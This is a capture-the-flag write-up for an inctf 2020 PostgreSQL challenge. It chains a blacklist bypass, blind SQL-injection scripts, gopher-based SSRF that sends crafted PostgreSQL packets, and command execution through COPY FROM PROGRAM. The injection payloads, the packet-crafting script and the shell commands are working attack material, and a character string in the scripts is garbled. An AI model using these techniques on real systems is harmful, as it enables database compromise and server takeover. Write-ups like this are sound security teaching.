Rating:

TLDR : You need to demonstrate SQL injection + SSRF + Packet analysis + RCE to get the flag

When accessing http://35.224.182.105/ you are given PHP script
```
|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";
$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor";

if (preg_match("/$blacklist/i", $name)){
die("Try Hard");
}

if (preg_match("/$blacklist/i", $column)){
die("Try Hard");
}

$query = "select " . $column . " from inctf2020 where username = " . $name ;

$ret = pg_query($db_connection, $query);

if($ret){
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){
header("Location:{$row['go_to']}");
}
else{
echo "<h4>You are not admin " . "</h4>";
}

}
}else{
echo "<h4>Having a query problem" . "</h4>
";
}

highlight_file(__FILE__);
?>
```

## Bypass filter
From the code analysis, we know need to bypass the MONSTROUS filter.

We need to analyse two things seperately. The A column part and B string part
`SELECT (A) WHERE inctf2020 = (B)`

A part

From the filter we know that we can't use `*`,`username`,`go_to` for our column, we could by pass this by using unicode

`select U&"\0075sern\0061me" where ...` and `select "username" where ...` are the same

B part

The filter also blocks the usage of single quotation `'`. So how could we craft string constant without `'`?

The answer is using dollar sign.

https://www.postgresql.org/docs/9.5/sql-syntax-lexical.html (See the documentation about dollar sign)
and to concat strings we can use `||` sign

`select ... from inctf2020 where username = $$ad$$||$$mi$$||$$n$$` and `select ... from inctf2020 where username = 'admin'` are the same

So here is our request
`column=U&"\0075sern\0061me",U&"g\006f_t\006f"` and `name=$$ad$$||$$mi$$||$$n$$`
url encode it and send the request
`http://35.224.182.105/?column=U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22&name=$$ad$$||$$mi$$||$$n$$`

## PHP page with curl feature

Next you will be redirected to `http://35.224.182.105/feel_the_gosql_series.php`

Here you are able to enter url and the server will curl the url.

For example try `http://example.com`
![](https://imgur.com/download/Nxpt9Jl)

You can try with other protocols as well such as `file://`, `ftp://`, `php://` ,etc. But some of the protocols are blocked by backend php.

From the previous GoSQL challenges, the challenges used `gopher://` for ssrf

And this time we could use the same technique too.

The things that is different is that the server is using postgres as backend.

So we need to craft postgres packet and then use it with gopher protocol.

A good blog post about how to craft packet is written by Spy3dr himself in https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.
You need to read this to understand how gopher works in this challenge.

From the blog post we know that gopher exploit only works when database uses username without password. So we need to leak username

## Leak username
So how do we leak username?

We could do this by using sql injection.

In this task, we are going to use blind sql injection to get the database username

In blind sql injection, `LIKE` or similar is used to leak things
For example

`select * from t where username LIKE 'A%'`

So we need to be able to execute this command to leak username

`select username,goto where username = case (user LIKE 'A%') then 'admin' else 'zzz' end`

Things that we can do to convert above query:
1. `lpad` and `rpad` could be used instead of `LIKE` (`rpad(user, 2, 'x') = 'aa')`
2. Instead of using space ` ` we could use newline '\n'

So here is our query that we want

`select username,goto from inctf2020 where username = lpad('admin',4+(case when ('te'=rpad(user,2,'x')) then 1 else 0 end),'x');`

or

`select U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22 where username = lpad($$ad$$||$$mi$$||$$n$$,4+(case when ($$te$$=rpad(user,2,$$x$$)) then 1 else 0 end),$$xx$$);`

We could use the same technique to leak database name

Here is python script to leak username and database name

```
import requests
import string

def dbgetter():
url = "http://35.224.182.105/"
column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''
d = ""
for i in range(20):
for c in "'0[email protected]|{}":
s = d + c
s = "$$||$$".join(s)
s = "$$" + s + "$$"
name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s +"=rpad(current_database()," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"
name = name.replace(" ", "\n")
r = requests.get(url, params={
"column": column,
"name": name
})
success = "functionality" in r.text
if success:
d = d + c
print(d)

def usernamegetter():
url = "http://35.224.182.105/"
column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''
d = ""
for i in range(20):
for c in "'0[email protected]|{}":
s = d + c
s = "$$||$$".join(s)
s = "$$" + s + "$$"
name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s +"=rpad(user," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"
name = name.replace(" ", "\n")
r = requests.get(url, params={
"column": column,
"name": name
})
success = "functionality" in r.text
if success:
d = d + c
print(d)

if __name__ == "__main__":
usernamegetter()
dbgetter()
```

From here we know the username is `honeysingh` and database name is `gosqlv3`

## SSRF
Read this blog post to craft gopher packet https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.

TL;DR
1. Create postgres user without password
2. Use tshark and record packet on localhost loopback interfrace
3. On another console try to login to postgres from localhost `psql -h localhost -U user`
4. Open pcap captured packets on wireshark
5. You get the packets you want

Here is the python script to trigger ssrf
```
import binascii

def main():
print("\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m")
user = "honeysingh"
database = "gosqlv3"
user_encoded = user.encode("utf-8").hex()
database_encoded = database.encode("utf-8").hex()

# Connect
dump = "000000" + "00" + "00"
dump += "03000075736572" + "00" + user_encoded + "00"
dump += "6461746162617365" + "00" + database_encoded + "00"
dump += "6170706c69636174696f6e5f6e616d65" + "00"
dump += "7073716c" + "00"
dump += "636c69656e745f656e636f64696e67" + "00"
dump += "55544638" + "0000"
d = list(dump)

h = str(binascii.unhexlify(dump))
d[6] = hex(len(dump)//2)[2]
d[7] = hex(len(dump)//2)[3]
dump = ''.join(d)
h = str(binascii.unhexlify(dump))

queue = input("\033[96m" +"\nQueue: " + "\033[0m")
dump1 = "51000000" + "00"
dump1 += queue.encode("utf-8").hex()
dump1 += "00"
d = list(dump1)
if len(hex(len(dump1)//2-1)) == 4:
d[8] = hex(len(dump1)//2-1)[2]
d[9] = hex(len(dump1)//2-1)[3]
elif len(hex(len(dump1)//2-1)) == 3:
d[9] = hex(len(dump1)//2-1)[2]

dump1 = ''.join(d)

dump2 = "5800000004"

print(dump)
print(dump1)
q = dump + dump1 + dump2
a = [q[i:i+2] for i in range(0,len(q),2)]

print("gopher://127.0.0.1:5432/_%" + "%".join(a))

if __name__ == "__main__":
main()
```

It is an ugly script but it WORKS

For example we can find postgres version with this query
`SELECT VERSION();`

The python script produces
`gopher://127.0.0.1:5432/_%00%00%00%55%00%03%00%00%75%73%65%72%00%68%6f%6e%65%79%73%69%6e%67%68%00%64%61%74%61%62%61%73%65%00%67%6f%73%71%6c%76%33%00%61%70%70%6c%69%63%61%74%69%6f%6e%5f%6e%61%6d%65%00%70%73%71%6c%00%63%6c%69%65%6e%74%5f%65%6e%63%6f%64%69%6e%67%00%55%54%46%38%00%00%51%00%00%00%16%53%45%4c%45%43%54%20%56%45%52%53%49%4f%4e%28%29%3b%00%58%00%00%00%04`

Copy that gopher url to http://35.224.182.105/feel_the_gosql_series.php input

And you'll get postgresql version
![](https://imgur.com/download/hnSZrde)

You can execute other queries as well.

## RCE
Next we need to be able to execute scripts

we can execute script by using `COPY FROM PROGRAM` command;
`CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls /';`

But in order to be able to execute this command you need to be super user.

First we are curious what users / roles exist in postgres
`SELECT * FROM pg_catalog.pg_user`

From the result we know that there is another username `inctf`.

and `inctf` user have superuser privilege

From here we could run shell command with this sql command

`SET ROLE 'inctf'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls / -lah'; SELECT * FROM cmd_exec;`

![](https://imgur.com/download/z6gtAGb)

After execute the query, you can find and executable `/readFlag`

execute that to get your flag
`inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}`

SpyD3rAug. 3, 2020, 6:08 a.m.

Nice!